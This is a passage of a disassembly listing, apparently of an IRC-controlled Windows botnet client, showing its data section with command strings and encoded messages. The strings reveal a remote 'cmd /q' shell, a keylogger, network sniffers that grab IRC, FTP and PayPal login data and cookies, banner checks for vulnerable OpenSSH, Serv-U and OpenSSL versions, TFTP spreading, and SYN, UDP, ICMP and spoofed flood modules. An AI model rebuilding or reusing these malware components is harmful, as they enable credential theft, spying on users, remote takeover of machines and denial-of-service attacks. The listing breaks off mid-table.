WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F88 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433FCC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_434034 db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43407C db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_4340BC db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_434100 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_43412C db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434158 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_434194 db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_4341C0 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341EC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434388 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_4343BC db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434404 db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_43442C db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_43446C db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_4344AC db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344EC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 10h dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E5C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E8C: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 4 dd offset off_435750 dd offset off_43574C dd offset off_435748 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) db 3Ah db 7Eh, 61h, 75h ; DATA XREF: ___:off_43574Co dd 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EE4o align 4 off_435748 dd offset aKmU+2 ; DATA XREF: ___:00434EE0o off_43574C dd offset byte_435249 ; DATA XREF: ___:00434EDCo off_435750 dd offset word_544F42 ; DATA XREF: ___:00434ED8o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_435A34 db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A68 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A9C db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435AD0 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_435B00 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B54 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D7C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 